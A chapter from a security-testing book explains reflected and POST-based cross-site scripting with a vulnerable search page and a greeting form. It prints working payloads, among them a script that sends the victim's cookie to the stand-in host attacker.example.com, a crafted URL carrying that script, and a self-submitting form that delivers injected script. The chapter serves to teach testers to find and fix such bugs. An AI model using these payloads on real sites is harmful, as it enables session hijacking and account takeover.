Chapter 10: HTML Scripting Attacks
HTML isn t used just on the Web: it is used for e-mail, Help files, and the graphical user interface (UI) of server and client applications. HTML is being used in places you might not realize. For example, in Microsoft Windows, HTML is used to supply users with help about the operating system (see Figure 10-1). Today s HTML rendering engines are very rich with functionality that supports running scripts, plug-ins, applets, and much more. This rich functionality gives developers capabilities to make their programs display data nicely . On the other hand, it also assists attackers (and you as a tester) in exploiting that same code.
Figure 10-1: HTML output in the Microsoft Windows Help and Support Center user interface
Just as HTML usage isn t restricted to the Web, HTML scripting attacks aren t either. Although this type of attack is very common against Web applications, client applications that don t render HTML can be vulnerable, too. HTML scripting attacks against both the client and server come in two forms ” reflected cross-site scripting and persisted cross-site scripting (also known as script injection ). The goal in cross-site scripting attacks is to get HTML script (JavaScript, Microsoft Visual Basic Script, etc.) to be returned as output by the application in a place that attackers could not normally author script. In this chapter, you ll learn the importance of cross-site scripting bugs, how to find these bugs, how these can be exploited, how programmers commonly fix these issues, and common bugs associated with these fixes.
Understanding Reflected Cross-Site Scripting Attacks Against Servers
HTML script that is returned to a Web browser from a server is usually placed on the server by someone who has the ability to author HTML pages on the server, such as the site s Webmaster. Cross-site scripting (XSS) attacks occur when an attacker returns HTML script from the server without having Webmaster-level permissions on the server. In fact, the attacker doesn t modify anything on the server. The attack happens when server-side code takes user-supplied input and echoes the data back to the user in a way that allows the data to run as HTML script on the client machine. The script is unknowingly supplied by the user (or victim, in this case). The following search engine example can help clarify how this is possible.
| Tip | Cross-site scripting was originally abbreviated as CSS, but this acronym caused much confusion because it is also used for Cascading Style Sheets. Cross-site scripting is now commonly abbreviated as XSS. |
Example: Reflected XSS in a Search Engine
A search capability is a common feature on Web sites where the user types in a word or phrase to search for and a list of results is returned. However, when a search term (s) cannot be found, an error message is returned to the user, as shown in Figure 10-2.
Figure 10-2: Error message returned on a Web site when a search term could not be found
By looking at the page s URL, http://server/search.aspx?keyword= monkey , you might suppose that the data typed in the URL is returned in the resulting Web page. You can test this theory by modifying the URL a little. When you try the URL http://server/seach.aspx?keyword=SomeBogusText , for example, you see that the data in the URL, the value of the query string parameter keyword, is returned in the Web page. To better understand how this page works view the HTML source. The following HTML source was returned by search.aspx:
<HTML> <HEAD><TITLE>Search Example</TITLE> <META http-equiv="content-type" content="text/html; charset=utf-8"> </HEAD> <BODY> <H1>Search Results</H1> for SomeBogusText <BR> <BR> <h2>Sorry, no results were found.</h2> <BR> <FORM name=search> <INPUT type=text name="keyword" value="SomeBogusText"> <INPUT type=submit value="Go"> </FORM> </BODY> </HTML>
Notice that the data supplied in the query string is placed in the <body> section of the HTML. The <body> section can contain HTML tags. What is an interesting test case? How about an HTML tag in the query string such as the bold tag (<B>)? You can test this case by browsing to a URL like http://server/search.aspx?keyword= <B>Boldly</B>%20go%20where%20no%20dev%20expected .
The Web server returns the following HTML and displays the word Boldly from the input in bold text:
<HTML> <HEAD><TITLE>Search Example</TITLE> <META http-equiv="content-type" content="text/html; charset=utf-8"> </HEAD> <BODY> <H1>Search Results</H1> for <B>Boldly</B> go where no dev expected <BR> <BR> <h2>Sorry, no results were found.</h2> <BR> <FORM name=search> <INPUT type=text name="keyword" value="<B>Boldly</B> go where no dev expected"> <INPUT type=submit value="Go"> </FORM> </BODY> </HTML>
OK, that was a little amusing, but formatting text as bold type isn t a security issue. The test case proves, however, that HTML can be echoed through the Web server and that the browser will render the echoed data as HTML. Running script is more interesting, as you ll see in a moment. Trying to echo a <script> tag through the server can be tested by using a URL like http://server/search.aspx?keyword=<SCRIPT>alert("Running!")</SCRIPT> . When this URL is loaded, the server returns the input in exactly the same fashion as it did in the previous examples, which results in the following HTML. This also causes a dialog box to appear in the Web browser (shown in Figure 10-3). The dialog box is displayed through the following script:
<HTML> <HEAD><TITLE>Search Example</TITLE> <META http-equiv="content-type" content="text/html; charset=utf-8"> </HEAD> <BODY> <H1>Search Results</H1> for <SCRIPT>alert("Running!")</SCRIPT> <BR> <BR> <h2>Sorry, no results were found.</h2> <BR> <FORM name=search> <INPUT type=text name="keyword" value="<SCRIPT>alert("Running!")</SCRIPT>"> <INPUT type=submit value="Go"> </FORM> </BODY> </HTML> 
Figure 10-3: An alert displayed on a Web site when a script is included in the query string
Now script can be run by echoing it through the Web server s buggy search functionality. The following section discusses why this is important and how echoing script is different from when attackers host script from their own site.
Understanding Why XSS Attacks Are a Security Concern
The problem is that a browser sees a script that is echoed through the Web server as originating from the Web site to which the browser sent the request. Web browsers and other Web clients have a security model that allows only the Web site that issued certain data to the client to retrieve that data from the client. For example, if www.woodgrovebank.com issues a cookie to a client browser, woodgrovebank.com can read that cookie, but microsoft.com cannot. Suppose that www.woodgrovebank.com hosts the buggy search functionality discussed earlier. If script is echoed through http://www.woodgrovebank.com/search.aspx , and the script attempts to access the cookie, the echoed script would be successful at accessing the cookie issued by www.woodgrovebank.com ; this occurs because the echoed script appears to the client browser as having originated from www.woodgrovebank.com .
| XSS enables actions that are normally prohibited |
| Tip | Access to a Web page s DOM can also enable an attacker to rewrite the page s content to create convincing spoofed content. The spoofed Web page would appear to originate from the legitimate Web site. |
-
UserData access UserData is a Microsoft Internet Explorer feature that allows a Web page to retain data between visits . It operates very much like cookies and also has a similar security model. The data is accessible only by the same directory and with the same protocol used to persist that data. Although at first you might think that to access the data an attacker would need to find an XSS bug in the same directory as the page that stores the userData, but that isn t necessary. The trick is that a page can access any other page on the same site through the DOM as described earlier. An attacker could load the page that set the userData and then rewrite the HTML contents of the page through the DOM. The rewritten HTML can access the userData. Because the userData is then accessed by the page that created it, it is able to read the information successfully. More information on the userData behavior in Internet Explorer can be found at http://msdn.microsoft.com/workshop/author/behaviors/reference/behaviors/userdata.asp .
-
Bypassing SiteLock restrictions SiteLock and similar protections are discussed in more detail in Chapter 18, ActiveX Repurposing Attacks. Basically, some ActiveX controls can be called only by trusted domains. An XSS bug enables an attacker toplace code into the trusted domain and then to call the control, rendering the SiteLock protection useless. What fun!
-
Zone elevation An XSS bug can allow an attacker to have more privileges than originally intended. For example, Internet Explorer includes a Trusted Sites security zone. As you might guess, only sites the user trusts should be placed in this zone because sites in this zone run with fewer security restrictions than do those in most other security zones. If there is an XSS bug in a site in the Trusted Sites zone, injected script runs with the privileges of a trusted site. More information about Internet Explorer zones is provided in the sidebar titled Internet Explorer Zones later in this chapter.
| Note | HTTP splitting is a type of vulnerability that is exploited in a similar way to cross-site scripting and has similar outcomes . For more information about this type of attack, see http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf . |
Exploiting Server-Reflected XSS Bugs
An attacker s goal is to run attacker-supplied script that appears to come from a legitimate origin on a victim s machine. The victim s machine will interpret the script as originating from the Web server with the XSS bug. In the earlier Web search example, the script is contained in the URL of the page containing the XSS bug. If an attacker can trick a user into visiting a specially crafted link, the user (victim) will send the attacker-supplied script in the query string to the server containing the XSS bug, and that script will run in the victim s browser ”appearing to originate from the Web server hosting the buggy search functionality. At first it might seem like it would be hard for an attacker to coerce a user into visiting a link that contains suspicious text (like the <script> tag), but it is usually easier than you think. For example, an attacker could use a phishing attack (discussed in Chapter 6, Spoofing ) and send a user an e-mail that includes a link to an appealing Web site, or host a page indexed by search engines like Google. Suppose the attacker s page contains photographs of a famous celebrity that many people would search for. When a user views the page, the user is automatically redirected to the malicious URL that contains the script. There are lots of ways an attacker can lure victims to malicious sites. Think maliciously like an attacker and you will quickly come up with a few convincing scenarios.
Next, the attacker must consider what script to run on the victim s machine. Attackers want to take advantage of the fact that the victim s browser will see their script as originating from the vulnerable but trusted Web server rather than from the e-mail message or the Web site containing the link with the attacker-supplied script. Cookies are a good target if the vulnerable server uses them for authentication purposes or stores sensitive information in them. If a cookie is used for authentication, it might not contain the user s password, but it could contain a session ID or similar value that the server uses to authenticate the user. In other words, attackers might not need a password. In this case, an attacker can simply access the Web site by replaying the value of the cookie copied from the victim s machine. Replaying a cookie s value can enable an attacker to log on to the victim s bank account, Web-based e-mail account, and other privileged areas. The cookie can be read through script by checking the value of the document.cookie property. A quick script to send the value of the victim s cookie to a Web server of choice is as follows :
<SCRIPT>document.location="http://attacker.example.com/ default.aspx?"+escape(document.cookie);"</SCRIPT>
To get a victim to echo this script through the buggy search functionality, for example, anattacker must convince the victim to navigate to http://server/search.aspx?keyword=<SCRIPT>document.location="http://attacker.example.com/default.aspx?"%2Bescape(document.cookie);"</SCRIPT> . The script first causes the victim to send the attacker s data (script) to the buggy Web server. That script causes the victim s Web browser to visit http://attacker.example.com/default.aspx with a query string of the escaped value of the cookie from the site that contains the buggy search functionality. The attacker then is able to look in the Web server log to see the value of the victim s cookie. The steps of this attack are illustrated in Figure 10-4.
Figure 10-4: An XSS bug could be exploited to copy a victim s cookie to another Web site
| Tip | Secure Socket Layers (SSL) provides no mitigation against XSS attacks. When a Web browser uses SSL, the data sent over the wire is encrypted. Because XSS attacks happen on the client s machine, the data has already been decrypted. The attacker, through the XSS vulnerability, can access the decrypted data. |
POSTs Are Exploitable, Too
Just as script is sent as part of the URL in the earlier example (using a GET request), script can be sent as part of POST data to Web applications that accept POST requests. The following example illustrates how POST requests can be problematic .
Example: Exploiting POST Data in helloPostDemo.asp
In this example, a form is displayed asking the user to enter the user s first name. After the user enters the information and clicks the Submit button, the Web page displays the message: Hello, < name >. Nice to meet you. The HTML returned is as follows:
<html><head><title>Hello Post Demo</title> <META http-equiv="content-type" content="text/html; charset=utf-8"> </head> <body> Hello, name. Nice to meet you. </body> </html>
| Tip | For more information about the differences between GET and POST HTTP requests, see Chapter 4. |
This example is almost identical to the search example. Because getting script returned by the Web application is the goal, a good test case is to use <SCRIPT>alert('Hi!')</SCRIPT> as the name, which will successfully run script. But how can an attacker get a victim to send script as the user s name? POST data isn t part of the URL. When you are testing, you can enter script in the original form and submit it, but an attacker can t readily get a victim to insert script instead of a first name. (An attacker might be able through social engineering to trick some users into doing this, but many times it won t work.) It would be much better if the attacker could devise a way to force the browser to submit the script data automatically without any further action on the part of the victim.
Getting Victims to Submit Malicious POST Data Attackers can trick victims into sending the script data in the POST data by hosting the form that asks for the user s name on the attacker s Web site. Instead of asking victims to type in their names , the attacker can prepopulate the Name field with script that exploits the XSS vulnerability.
| Tip | In addition to exploiting XSS, the ability to coerce a victim to POST arbitrary data can lead to cross-site request forgery attacks see Chapter 19, Additional Repurposing Attacks , for more information. |
Creating a Test to Exploit This Vulnerability An easy way for you to host the form when you are testing is to save the HTML form to your Web site. To get the form to send its data to the buggy server, the form s action must point to the full URL on the original Web site s action URL. In the example, this requires adding the Action property and setting it to be the URL where the vulnerable copy of helloPostDemo.asp lives. Once the Action property is added, the <form> tag should look something like <form method="POST" name="myForm" action=" http://VulnerableWebSite/helloPostDemo.asp "> . Also, prepopulate the form with script by changing the <input> tag so that it is <input type="text" name="myName" value="<SCRIPT>alert('Hi!')</ SCRIPT>"> . Now if a user visits your copy of the form on your Web site and clicks Submit, the user will send script to the vulnerable Web application (helloPostDemo.asp) and your script will run in the user s browser.
It still might be difficult to get some users to click the Submit button. Attackers want to get as many people as possible to echo their script from their custom forms like the one you created. By using script on the hosted form page, the form submission process can be automated. The Submit method on the form object can be called to submit the form without any user interaction. Once this script is added to your hosted version of the form, the HTML looks like the following:
<body> <html><head><title>Hello Post Demo</title></head> <body> <form method="POST" name="myForm" action="http://VulnerableWebSite/helloPostDemo.asp"> Name: <input type="text" name="myName" value="<SCRIPT>alert('Hi!')</SCRIPT>"> <input type="submit" value="Submit"> </form> <SCRIPT>myForm.submit();</SCRIPT> </body> </html> Immediately after this hosted version of the form is loaded, the victim echoes script through the vulnerable Web site.
The examples discussed so far are very simple. In some cases, it can be a little more difficult for attackers to get script executed, and these complex examples are discussed later in this chapter. However, we give an introduction to persisted XSS attacks, which are very similar to reflected XSS attacks, before getting into more complicated examples.
EAN: 2147483647
Pages: 156